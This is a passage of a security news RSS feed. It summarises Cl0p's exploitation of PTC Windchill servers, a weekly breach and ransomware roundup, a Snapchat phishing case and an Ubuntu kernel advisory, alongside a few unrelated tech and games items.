<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by staging and exfiltration of sensitive engineering…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/">Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #8quater] - Two angles on the cascade, cost and a validation loop, backed by a real sweep of twenty local models against a hosted flagship
The post Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship appeared...]]></description>
<link>https://tsecurity.de/de/3691696/ai-nachrichten/loop-engineering-for-rag-generation-an-llm-cascade-from-a-cheap-local-model-up-to-a-hosted-flagship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691696/ai-nachrichten/loop-engineering-for-rag-generation-an-llm-cascade-from-a-cheap-local-model-up-to-a-hosted-flagship/</guid>
<pubDate>Fri, 24 Jul 2026 15:34:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #8quater] - Two angles on the cascade, cost and a validation loop, backed by a real sweep of twenty local models against a hosted flagship</p>
<p>The post <a href="https://towardsdatascience.com/loop-engineering-for-rag-generation-an-llm-cascade-from-a-cheap-local-model-up-to-a-hosted-flagship/">Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats]]></title>
<description><![CDATA[This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incident...]]></description>
<link>https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="831" height="491" src="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="The Cyber Express weekly roundup July 2026" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w" sizes="(max-width: 831px) 100vw, 831px" title="The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats 1"></p><span data-contrast="auto">This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The latest developments underline the need for stronger security practices, including improved identity protection, faster <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="29121">incident response</a>, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29120">data</a> theft, affecting operations, customer trust, and critical services.</span><span data-ccp-props="{}"> </span>
<h2 aria-level="2"><b><span data-contrast="none">The Cyber Express Weekly Roundup</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="nofollow noopener">Cyble Research and Intelligence Labs (CRIL)</a>. The report identified <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29122">ransomware</a> groups Qilin and Akira as among the most active threat actors during the period. </span><a href="https://thecyberexpress.com/us-ransomware-attacks-in-h1-2026/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Dubai Police Warns Against Online Visa Fraud Schemes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. </span><a href="https://thecyberexpress.com/dubai-police-fraudulent-visa-ads/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Craneware Data Breach Exposes Employee and Customer Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. </span><a href="https://thecyberexpress.com/craneware-data-breach/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b><span data-contrast="none"> </span></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Targets Illegal FIFA World Cup Streaming Networks</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. </span><a href="https://thecyberexpress.com/illegal-world-cup-streaming-domains-seized/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Chick-fil-A Customer Accounts Targeted in Credential Attack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. </span><a href="https://thecyberexpress.com/chick-fil-a-data-security-incident/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">South Korea Diplomatic System Breach Lasted Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. </span><a href="https://thecyberexpress.com/national-diplomatic-academy-data-breach-korea/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more..</span></b></a><b><span data-contrast="auto">.</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">Weekly Cybersecurity Takeaway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<span data-contrast="auto">The week’s incidents demonstrate how <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29124">cyber</a> threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29123">social engineering</a> tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cybersecurity Threats 2026: A CISO Field Guide]]></title>
<description><![CDATA[Cybersecurity threats 2026 include identity attacks, infostealers, cloud tokens, ransomware, AI-enabled social engineering and agent risk. A practical CISO guide.]]></description>
<link>https://tsecurity.de/de/3691633/it-security-nachrichten/cybersecurity-threats-2026-a-ciso-field-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691633/it-security-nachrichten/cybersecurity-threats-2026-a-ciso-field-guide/</guid>
<pubDate>Fri, 24 Jul 2026 15:11:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity threats 2026 include identity attacks, infostealers, cloud tokens, ransomware, AI-enabled social engineering and agent risk. A practical CISO guide.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign]]></title>
<description><![CDATA[Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by st...]]></description>
<link>https://tsecurity.de/de/3691630/it-security-nachrichten/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691630/it-security-nachrichten/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</guid>
<pubDate>Fri, 24 Jul 2026 15:10:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by staging and exfiltration of sensitive engineering and product design data. This chaining enables unauthenticated remote code execution, allowing attackers to deploy […]</p>
<p>The post <a href="https://gbhackers.com/cl0p-targets-internet-exposed-windchill/">Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Hackers Exploit Windchill Servers to Steal Companies’ Secret Product Designs]]></title>
<description><![CDATA[Cl0p ransomware affiliates are exploiting exposed PTC Windchill and FlexPLM servers to steal engineering and product-design data. The campaign combines software flaws to gain access without credentials, install hidden server-side access, and remove sensitive files before demanding payment. The ac...]]></description>
<link>https://tsecurity.de/de/3691623/it-security-nachrichten/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691623/it-security-nachrichten/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/</guid>
<pubDate>Fri, 24 Jul 2026 15:10:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are exploiting exposed PTC Windchill and FlexPLM servers to steal engineering and product-design data. The campaign combines software flaws to gain access without credentials, install hidden server-side access, and remove sensitive files before demanding payment. The activity places manufacturers, automotive firms, aerospace organizations, and retail apparel companies at particular risk because Windchill […]</p>
<p>The post <a href="https://cybersecuritynews.com/cl0p-hackers-exploit-windchill/">Cl0p Hackers Exploit Windchill Servers to Steal Companies’ Secret Product Designs</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Illinois Man Pleads Guilty to Phishing Snapchat Codes From Nearly 600 Women]]></title>
<description><![CDATA[An Illinois man has pleaded guilty to multiple federal charges after orchestrating a large-scale social engineering campaign targeting Snapchat users, exposing persistent risks tied to account takeover (ATO) attacks and SMS-based phishing. According to the U.S. Attorney’s Office for the District ...]]></description>
<link>https://tsecurity.de/de/3691617/it-security-nachrichten/illinois-man-pleads-guilty-to-phishing-snapchat-codes-from-nearly-600-women/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691617/it-security-nachrichten/illinois-man-pleads-guilty-to-phishing-snapchat-codes-from-nearly-600-women/</guid>
<pubDate>Fri, 24 Jul 2026 15:10:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An Illinois man has pleaded guilty to multiple federal charges after orchestrating a large-scale social engineering campaign targeting Snapchat users, exposing persistent risks tied to account takeover (ATO) attacks and SMS-based phishing. According to the U.S. Attorney’s Office for the District of Massachusetts, 27-year-old Kyle Svara of Oswego, Illinois, admitted to aggravated identity theft, wire […]</p>
<p>The post <a href="https://cyberpress.org/illinois-man-pleads-guilty-phishing-snapchat-codes/">Illinois Man Pleads Guilty to Phishing Snapchat Codes From Nearly 600 Women</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kooperation für Sicherheit - idw - Informationsdienst Wissenschaft]]></title>
<description><![CDATA[Im Fachgebiet Sicherheit bietet sie die Bachelorstudiengänge „Security & Safety Engineering“ und „IT-Sicherheit und Cyber Security“ sowie den ...]]></description>
<link>https://tsecurity.de/de/3691588/it-security-nachrichten/kooperation-fuer-sicherheit-idw-informationsdienst-wissenschaft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691588/it-security-nachrichten/kooperation-fuer-sicherheit-idw-informationsdienst-wissenschaft/</guid>
<pubDate>Fri, 24 Jul 2026 14:59:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Im Fachgebiet Sicherheit bietet sie die Bachelorstudiengänge „Security &amp; Safety Engineering“ und „<b>IT</b>-<b>Sicherheit</b> und <b>Cyber Security</b>“ sowie den ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Berufe: Diese IT-Jobs halten Experten trotz KI für zukunftssicher - Handelsblatt]]></title>
<description><![CDATA[Man suche deshalb verstärkt nach IT-Fachkräften aus den Bereichen Software-Engineering, Data- und AI-Engineering, Cloud-Technologien, Cyber-Security ...]]></description>
<link>https://tsecurity.de/de/3691583/it-security-nachrichten/berufe-diese-it-jobs-halten-experten-trotz-ki-fuer-zukunftssicher-handelsblatt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691583/it-security-nachrichten/berufe-diese-it-jobs-halten-experten-trotz-ki-fuer-zukunftssicher-handelsblatt/</guid>
<pubDate>Fri, 24 Jul 2026 14:58:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Man suche deshalb verstärkt nach IT-Fachkräften aus den Bereichen Software-Engineering, Data- und AI-Engineering, Cloud-Technologien, <b>Cyber</b>-<b>Security</b> ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Exploits PTC Windchill Zero-Day to Deploy Webshells and Steal Data]]></title>
<description><![CDATA[Cl0p ransomware affiliates are actively exploiting a critical zero-day in PTC Windchill and FlexPLM (CVE-2026-12569) to gain unauthenticated remote code execution, drop JSP webshells, and exfiltrate sensitive engineering data for double‑extortion. Documented by ISAC, the campaign targets internet...]]></description>
<link>https://tsecurity.de/de/3691571/it-security-nachrichten/cl0p-exploits-ptc-windchill-zero-day-to-deploy-webshells-and-steal-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691571/it-security-nachrichten/cl0p-exploits-ptc-windchill-zero-day-to-deploy-webshells-and-steal-data/</guid>
<pubDate>Fri, 24 Jul 2026 14:58:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are actively exploiting a critical zero-day in PTC Windchill and FlexPLM (CVE-2026-12569) to gain unauthenticated remote code execution, drop JSP webshells, and exfiltrate sensitive engineering data for double‑extortion. Documented by ISAC, the campaign targets internet‑exposed PLM environments across manufacturing, automotive, aerospace, and retail/apparel sectors, leveraging a chained exploit path that begins with […]</p>
<p>The post <a href="https://cyberpress.org/cl0p-exploits-ptc-windchill-zero-day/">Cl0p Exploits PTC Windchill Zero-Day to Deploy Webshells and Steal Data</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘An anthem for the co-dependent’: Bad Magpie’s corvid carnage with a side of existential angst]]></title>
<description><![CDATA[Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havocAmid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded cor...]]></description>
<link>https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</guid>
<pubDate>Fri, 24 Jul 2026 14:19:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havoc</p><p>Amid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded corvid that creates havoc wherever she goes – calls out forlornly as a flock of her kind passes above, with a conspicuous gap in their formation.</p><p>Milktooth games designer and co-founder Daisy Fernandez has had this particular image in her head for years. Lying in the grass one afternoon during the 2020 lockdowns, she looked up and saw a V-shaped pattern in the sky, poignantly incomplete. “It really stuck with me,” she says. “I posted about it online and someone told me about a ‘missing man’ formation, which is an aerial salute to a fallen pilot.”</p> <a href="https://www.theguardian.com/games/2026/jul/24/bad-magpie-preview-milktooth">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 little-known Google Calendar tricks I use to plan my workweek - and save time]]></title>
<description><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></description>
<link>https://tsecurity.de/de/3691510/it-nachrichten/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691510/it-nachrichten/4-little-known-google-calendar-tricks-i-use-to-plan-my-workweek-and-save-time/</guid>
<pubDate>Fri, 24 Jul 2026 14:19:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you're only using Google Calendar to track events, you're missing some of its most useful features.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8604-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079,
CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084,
CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088,
CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093,
CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097,
CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101,
CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105,
CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109,
CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115,
CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120,
CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124,
CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129,
CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135,
CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139,
CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143,
CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147,
CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152,
CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158,
CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162,
CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166,
CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170,
CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212,
CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427,
CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402,
CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478,
CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649,
CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011,
CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341,
CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384,
CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414,
